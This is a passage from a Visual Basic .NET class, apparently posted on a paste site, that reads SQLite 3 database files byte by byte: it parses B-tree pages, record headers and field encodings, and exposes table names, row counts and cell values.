  754. 'Table Cell auslesen
  755. Dim t = GVL(ent_offset)
  756. Dim size As Int64 = CVL(ent_offset, t)
  757.  
  758. Dim s = GVL(ent_offset + (t - ent_offset) + 1)
  759. table_entries(ol + i).row_id = CVL(ent_offset + (t - ent_offset) + 1, s)
  760.  
  761. 'Table Content
  762. 'Resetting the offset
  763. ent_offset = ent_offset + (s - ent_offset) + 1
  764.  
  765. 'Now get to the Record Header
  766. t = GVL(ent_offset)
  767. s = t
  768. Dim Rec_Header_Size As Int64 = CVL(ent_offset, t) 'Record Header Length
  769.  
  770. Dim Field_Size() As record_header_field
  771. Dim size_read As Int64 = (ent_offset - t) + 1
  772. Dim j = 0
  773.  
  774. 'Now get the field sizes and fill in the Values
  775. While size_read < Rec_Header_Size
  776. ReDim Preserve Field_Size(j)
  777.  
  778. t = s + 1
  779. s = GVL(t)
  780. Field_Size(j).type = CVL(t, s)
  781.  
  782. If Field_Size(j).type > 9 Then
  783. If IsOdd(Field_Size(j).type) Then
  784. Field_Size(j).size = (Field_Size(j).type - 13) / 2
  785. Else
  786. Field_Size(j).size = (Field_Size(j).type - 12) / 2
  787. End If
  788. Else
  789. Field_Size(j).size = SQLDataTypeSize(Field_Size(j).type)
  790. End If
  791.  
  792. size_read = size_read + (s - t) + 1
  793. j = j + 1
  794. End While
  795.  
  796. ReDim table_entries(ol + i).content(Field_Size.Length - 1)
  797. Dim counter As Integer = 0
  798.  
  799. For k = 0 To Field_Size.Length - 1 Step 1
  800. If Field_Size(k).type > 9 Then
  801. If Not IsOdd(Field_Size(k).type) Then
  802. If encoding = 1 Then
  803. table_entries(ol + i).content(k) = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
  804. ElseIf encoding = 2 Then
  805. table_entries(ol + i).content(k) = System.Text.Encoding.Unicode.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
  806. ElseIf encoding = 3 Then
  807. table_entries(ol + i).content(k) = System.Text.Encoding.BigEndianUnicode.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
  808. End If
  809. Else
  810. table_entries(ol + i).content(k) = System.Text.Encoding.Default.GetString(db_bytes, ent_offset + Rec_Header_Size + counter, Field_Size(k).size)
  811. End If
  812. Else
  813. table_entries(ol + i).content(k) = CStr(ConvertToInteger(ent_offset + Rec_Header_Size + counter, Field_Size(k).size))
  814. End If
  815.  
  816. counter = counter + Field_Size(k).size
  817. Next
  818. Next
  819. ElseIf db_bytes(Offset) = &H5 Then 'internal node
  820. Dim Length As UInt16 = ConvertToInteger(Offset + 3, 2) - 1
  821. Dim ent_offset As UInt16
  822.  
  823. For i = 0 To Length Step 1
  824. ent_offset = ConvertToInteger(Offset + 12 + (i * 2), 2)
  825.  
  826. ReadTableFromOffset((ConvertToInteger(Offset + ent_offset, 4) - 1) * page_size)
  827. Next
  828.  
  829. ReadTableFromOffset((ConvertToInteger(Offset + 8, 4) - 1) * page_size)
  830. End If
  831.  
  832. Return True
  833. End Function
  834.  
  835. ' Reads a complete table with all entries in it
  836. Public Function ReadTable(ByVal TableName As String) As Boolean
  837. ' First loop through sqlite_master and look if table exists
  838. Dim found As Integer = -1
  839.  
  840. For i = 0 To master_table_entries.Length Step 1
  841. If master_table_entries(i).item_name.ToLower().CompareTo(TableName.ToLower()) = 0 Then
  842. found = i
  843. Exit For
  844. End If
  845. Next
  846.  
  847. If found = -1 Then Return False
  848.  
  849. Dim fields() = master_table_entries(found).sql_statement.Substring(master_table_entries(found).sql_statement.IndexOf("(") + 1).Split(",")
  850.  
  851. For i = 0 To fields.Length - 1 Step 1
  852. fields(i) = LTrim(fields(i))
  853.  
  854. Dim index = fields(i).IndexOf(" ")
  855.  
  856. If index > 0 Then fields(i) = fields(i).Substring(0, index)
  857.  
  858. If fields(i).IndexOf("UNIQUE") = 0 Then
  859. Exit For
  860. Else
  861. ReDim Preserve field_names(i)
  862. field_names(i) = fields(i)
  863. End If
  864. Next
  865.  
  866. Return ReadTableFromOffset((master_table_entries(found).root_num - 1) * page_size)
  867. End Function
  868.  
  869. ' Returns the row count of current table
  870. Public Function GetRowCount() As Integer
  871. Return table_entries.Length
  872. End Function
  873.  
  874. ' Returns a Value from current table in row row_num with field number field
  875. Public Function GetValue(ByVal row_num As Integer, ByVal field As Integer) As String
  876. If row_num >= table_entries.Length Then Return Nothing
  877. If field >= table_entries(row_num).content.Length Then Return Nothing
  878.  
  879. Return table_entries(row_num).content(field)
  880. End Function
  881.  
  882. ' Returns a Value from current table in row row_num with field name field
  883. Public Function GetValue(ByVal row_num As Integer, ByVal field As String) As String
  884. Dim found As Integer = -1
  885.  
  886. For i = 0 To field_names.Length Step 1
  887. If field_names(i).ToLower().CompareTo(field.ToLower()) = 0 Then
  888. found = i
  889. Exit For
  890. End If
  891. Next
  892.  
  893. If found = -1 Then Return Nothing
  894.  
  895. Return GetValue(row_num, found)
  896. End Function
  897.  
  898. ' Returns a String-Array with all Tablenames
  899. Public Function GetTableNames() As String()
  900. Dim retVal As String()
  901. Dim arr = 0
  902.  
  903. For i = 0 To master_table_entries.Length - 1 Step 1
  904. If master_table_entries(i).item_type = "table" Then
  905. ReDim Preserve retVal(arr)
  906. retVal(arr) = master_table_entries(i).item_name
  907. arr = arr + 1
  908. End If
  909. Next
  910.  
  911. Return retVal
  912. End Function
  913.  
  914. ' Constructor
  915. Public Sub New(ByVal baseName As String)
  916. 'Page Number n is page_size*(n-1)
  917. If File.Exists(baseName) Then
  918. FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
  919. Dim asi As String = Space(LOF(1))
  920. FileGet(1, asi)
  921. FileClose(1)
  922.  
  923. db_bytes = System.Text.Encoding.Default.GetBytes(asi)
  924.  
  925. If System.Text.Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") <> 0 Then
  926. Throw New Exception("Not a valid SQLite 3 Database File")
  927. End
  928. End If
  929.  
  930. If db_bytes(52) <> 0 Then
  931. Throw New Exception("Auto-vacuum capable database is not supported")
  932. End
  933. ElseIf ConvertToInteger(44, 4) >= 4 Then
  934.  
  935. End If
  936.  
  937. page_size = ConvertToInteger(16, 2)
  938. encoding = ConvertToInteger(56, 4)
  939.  
  940. If encoding = 0 Then encoding = 1
  941.  
  942. 'Now we read the sqlite_master table
  943. 'Offset is 100 in first page
  944. ReadMasterTable(100)
  945. End If
  946. End Sub
  947. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement